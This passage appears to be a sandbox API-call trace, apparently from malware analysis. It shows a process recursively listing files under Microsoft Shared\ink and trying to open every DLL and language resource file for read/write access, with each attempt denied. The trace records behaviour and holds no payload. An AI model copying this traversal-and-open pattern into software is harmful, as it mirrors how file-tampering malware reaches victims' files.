lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0086.470] wsprintfW (in: param_1=0x6578d70, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR") returned 56 [0086.470] wsprintfW (in: param_1=0x65762f0, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\*.*") returned 60 [0086.470] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\*.*", lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7128 [0086.471] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.471] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe59917ef, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe5b809a8, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5b809a8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0086.471] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\tipresx.dll.mui") returned 72 [0086.471] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-br\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.471] GetLastError () returned 0x5 [0086.471] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe59917ef, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe5b809a8, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5b809a8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0086.472] FindClose (in: hFindFile=0x48c7128 | out: hFindFile=0x48c7128) returned 1 [0086.472] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0086.472] wsprintfW (in: param_1=0x6578d70, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT") returned 56 [0086.472] wsprintfW (in: param_1=0x65762f0, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\*.*") returned 60 [0086.472] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\*.*", lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7128 [0086.472] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.473] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4bbb926, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4dd0c3c, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4dd0c3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0086.473] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\tipresx.dll.mui") returned 72 [0086.473] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-pt\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.473] GetLastError () returned 0x5 [0086.473] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4bbb926, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4dd0c3c, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4dd0c3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0086.473] FindClose (in: hFindFile=0x48c7128 | out: hFindFile=0x48c7128) returned 1 [0086.473] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-RO", cAlternateFileName="")) returned 1 [0086.473] wsprintfW (in: param_1=0x6578d70, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO") returned 56 [0086.473] wsprintfW (in: param_1=0x65762f0, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\*.*") returned 60 [0086.473] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\*.*", lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7128 [0086.474] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.474] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe215549d, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2390910, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2390910, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0086.474] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\tipresx.dll.mui") returned 72 [0086.474] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ro-ro\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.474] GetLastError () returned 0x5 [0086.474] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe215549d, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2390910, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2390910, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0086.475] FindClose (in: hFindFile=0x48c7128 | out: hFindFile=0x48c7128) returned 1 [0086.475] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42a795bf, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x42a795bf, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x43f1e320, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x29800, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtscom.dll", cAlternateFileName="")) returned 1 [0086.475] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\rtscom.dll") returned 61 [0086.475] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\rtscom.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\rtscom.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.475] GetLastError () returned 0x5 [0086.475] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0086.475] wsprintfW (in: param_1=0x6578d70, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU") returned 56 [0086.475] wsprintfW (in: param_1=0x65762f0, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\*.*") returned 60 [0086.475] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\*.*", lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7128 [0086.477] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.477] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea6a1a1d, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea8dce90, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea902fed, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0086.477] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\tipresx.dll.mui") returned 72 [0086.477] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ru-ru\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.479] GetLastError () returned 0x5 [0086.479] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea6a1a1d, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea8dce90, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea902fed, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0086.479] FindClose (in: hFindFile=0x48c7128 | out: hFindFile=0x48c7128) returned 1 [0086.479] wsprintfW (in: param_1=0x6578d70, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK") returned 56 [0086.479] wsprintfW (in: param_1=0x65762f0, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\*.*") returned 60 [0086.479] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\*.*", lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7128 [0086.481] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\tipresx.dll.mui") returned 72 [0086.481] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sk-sk\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.481] GetLastError () returned 0x5 [0086.481] FindClose (in: hFindFile=0x48c7128 | out: hFindFile=0x48c7128) returned 1 [0086.482] wsprintfW (in: param_1=0x6578d70, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI") returned 56 [0086.482] wsprintfW (in: param_1=0x65762f0, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI\\*.*") returned 60 [0086.482] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI\\*.*", lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7128 [0086.482] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI\\tipresx.dll.mui") returned 72 [0086.482] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sl-si\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.483] GetLastError () returned 0x5 [0086.483] FindClose (in: hFindFile=0x48c7128 | out: hFindFile=0x48c7128) returned 1 [0086.483] wsprintfW (in: param_1=0x6578d70, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS") returned 61 [0086.484] wsprintfW (in: param_1=0x65762f0, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS\\*.*") returned 65 [0086.484] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS\\*.*", lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7128 [0086.484] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS\\tipresx.dll.mui") returned 77 [0086.485] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sr-latn-cs\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.485] GetLastError () returned 0x5 [0086.485] FindClose (in: hFindFile=0x48c7128 | out: hFindFile=0x48c7128) returned 1 [0086.485] wsprintfW (in: param_1=0x6578d70, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE") returned 56 [0086.485] wsprintfW (in: param_1=0x65762f0, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE\\*.*") returned 60 [0086.485] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE\\*.*", lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7128 [0086.487] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE\\tipresx.dll.mui") returned 72 [0086.487] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sv-se\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.491] GetLastError () returned 0x5 [0086.491] FindClose (in: hFindFile=0x48c7128 | out: hFindFile=0x48c7128) returned 1 [0086.491] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TabIpsps.dll") returned 63 [0086.491] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TabIpsps.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabipsps.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.493] GetLastError () returned 0x5 [0086.493] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tabskb.dll") returned 61 [0086.493] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tabskb.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabskb.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.493] GetLastError () returned 0x5 [0086.493] wsprintfW (in: param_1=0x6578d70, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH") returned 56 [0086.493] wsprintfW (in: param_1=0x65762f0, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\*.*") returned 60 [0086.494] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\*.*", lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7128 [0086.494] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\tipresx.dll.mui") returned 72 [0086.494] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\th-th\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.495] GetLastError () returned 0x5 [0086.495] FindClose (in: hFindFile=0x48c7128 | out: hFindFile=0x48c7128) returned 1 [0086.495] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TipBand.dll") returned 62 [0086.495] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TipBand.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipband.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.496] GetLastError () returned 0x5 [0086.496] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TipRes.dll") returned 61 [0086.497] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TipRes.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipres.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.497] GetLastError () returned 0x5 [0086.497] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tipresx.dll") returned 62 [0086.497] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tipresx.dll" (normalized: "c:\\program files\\common 